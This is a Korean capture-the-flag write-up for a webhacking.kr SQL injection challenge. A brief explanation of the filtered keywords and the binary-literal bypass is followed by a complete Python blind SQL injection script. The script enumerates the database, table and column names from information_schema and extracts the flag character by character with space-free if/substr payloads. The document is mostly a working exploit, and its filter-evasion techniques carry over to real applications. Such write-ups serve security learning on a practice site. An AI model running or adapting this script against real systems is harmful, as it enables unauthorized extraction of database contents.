문제를 보면 위의 제출 버튼을 누르는 입력 값에 값을 넣었을 때 result가 1 아니면 0이 나옵니다.
위의 GET 메소드 변수를 보니 String이 아닌 Integer 값인 것 같습니다.
여기서는 0x 값도 필터링 되어 있으니 0b로 수행하였습니다.
또한 띄어쓰기가 모두 필터링 되어 있어서 order by, limit(리밋은 문자 자체가 필터링) 등이 불가능하였고, select도 소괄호로 묶어서 수행하였습니다.
필터링 : 띄어쓰기관련 전부, hex, instr, 0x, limit, and, where 등..
import requests
import string
import re
requests.packages.urllib3.disable_warnings()
proxies = {
'http' : 'http://localhost:8888',
'https': 'http://localhost:8888'
}
URL = "https://webhacking.kr/challenge/web-10/?no="
def str2bin(string):
return '0b'+''.join(format(ord(x), 'b').zfill(8) for x in string)
def ord2bin(number):
return '0b'+format(number, 'b').zfill(8)
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Database Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
dbLen = 0
for i in range(100):
payload = "if(length(database())in(0b%s),1,0)" % bin(i)[2:]
res = requests.get(url=URL+payload, proxies=proxies, verify=False)
if "<td>1</td>" in res.text:
print("[+] Found Database Length : %d" % i)
dbLen = i
break
else:
pass
bitLen = 8
Database = ""
for dblen in range(1, dbLen+1):
tmpBit = ""
for blen in range(1, bitLen+1):
payload = "if(substr(lpad(bin(ord(substr(database(),%(dblen)s,1))),%(bitLen)s,0),%(blen)s,1)in(1),1,0)" % {"dblen" : dblen, "blen" : blen, "bitLen" : bitLen}
res = requests.get(url=URL+payload, proxies=proxies, verify=False)
if "<td>1</td>" in res.text:
tmpBit += "1"
else:
tmpBit += "0"
Database += chr(int(tmpBit,2))
print("[+] Database Name : %s" % Database)
#TableLen = [0 for x in range(1,TableCnt+1)]
#Min
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Table Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Database = "chall13"
TableLen = 0
for i in range(200):
payload = "if((select(length(min(if((select(table_schema)in(%(DatabaseBin)s)),table_name,null))))from(information_schema.tables))in(%(i)s),1,0)" % {"DatabaseBin" : str2bin(Database), "i" : i}
res = requests.get(url=URL+payload, proxies=proxies, verify=False)
if "<td>1</td>" in res.text:
print("[+] Found Table Min Length : %d" % i)
TableLen = i
break
else:
pass
TableName = ""
for tlen in range(1, TableLen+1):
for binStr in range(20, 128):
payload = "if((select(substr(min(if((select(table_schema)in(%(DatabaseBin)s)),table_name,null)),%(tlen)s,1))from(information_schema.tables))in(%(binStr)s),1,0)" % {"DatabaseBin" : str2bin(Database), "binStr" : ord2bin(binStr), "tlen" : tlen}
res = requests.get(url=URL+payload, proxies=proxies, verify=False)
if "<td>1</td>" in res.text:
TableName += chr(binStr)
break
else:
pass
print("[+] Found Table Word[%d] : %s" % (tlen-1, TableName))
print("[+] Found Table Name : %s" % TableName)
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Column Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
ColumnCnt = 0
for i in range(1000):
payload = "if((select(count(if((select(table_name)in(%(TableName)s)),column_name,null)))from(information_schema.columns))in(%(i)s),1,0);"
payload = payload % {"TableName" : str2bin(TableName), "i" : i}
res = requests.get(url=URL+payload, proxies=proxies, verify=False)
if "<td>1</td>" in res.text:
print("[+] Found Table Count : %d" % i)
TableCnt = i
break
else:
pass
ColumnLen = 0
for i in range(200):
payload = "if((select(length(min(if((select(table_name)in(%(TableName)s)),column_name,null))))from(information_schema.columns))in(%(i)s),1,0)" % {"TableName" : str2bin(TableName), "i" : i}
res = requests.get(url=URL+payload, proxies=proxies, verify=False)
if "<td>1</td>" in res.text:
print("[+] Found ColumnLen Min : %d" % i)
ColumnLen = i
break
else:
pass
ColumnName = ""
for clen in range(1, ColumnLen+1):
for binStr in range(20,128):
payload = "if((select(substr(min(if((select(table_name)in(%(TableName)s)),column_name,null)),%(clen)s,1))from(information_schema.columns))in(%(binStr)s),1,0)" % {"TableName" : str2bin(TableName), "binStr" : ord2bin(binStr), "clen" : clen}
res = requests.get(url=URL+payload, proxies=proxies, verify=False)
if "<td>1</td>" in res.text:
ColumnName += chr(binStr)
break
else:
pass
print("[+] Found Column Word[%d] : %s" % (clen-1, ColumnName))
print("[+] Found Column Name : %s" % ColumnName)
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Flag 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Database = "chall13"
TableName = "flag_ab733768" # Table Name should be Lower Case
ColumnName = "FLAG_3A55B31D"
ValueLen = ""
for i in range(1000):
payload = "if((select(length(max(%(ColumnName)s)))from(%(Database)s.%(TableName)s))in(%(i)s),1,0)"
payload = payload % {"Database": Database, "TableName" : TableName, "ColumnName" : ColumnName, "i" : i}
res = requests.get(url=URL+payload, proxies=proxies, verify=False)
if "<td>1</td>" in res.text:
print("[+] Found Value Length : %d" % i)
ValueLen = i
break
else:
pass
Flag = ""
for vlen in range(1,ValueLen+1):
for binStr in range(20,128):
payload = "if((select(substr(max(%(ColumnName)s),%(vlen)s,1))from(%(Database)s.%(TableName)s))in(%(binStr)s),1,0)"
payload = payload % {"Database": Database, "TableName" : TableName, "ColumnName" : ColumnName, "vlen": vlen, "binStr" : ord2bin(binStr)}
res = requests.get(url=URL+payload, proxies=proxies, verify=False)
if "<td>1</td>" in res.text:
print("[+] Found Flag Word[%d] : %s" % (vlen, chr(binStr)))
Flag += chr(binStr)
break
else:
pass
print("[+] Found Flag : %s" % Flag)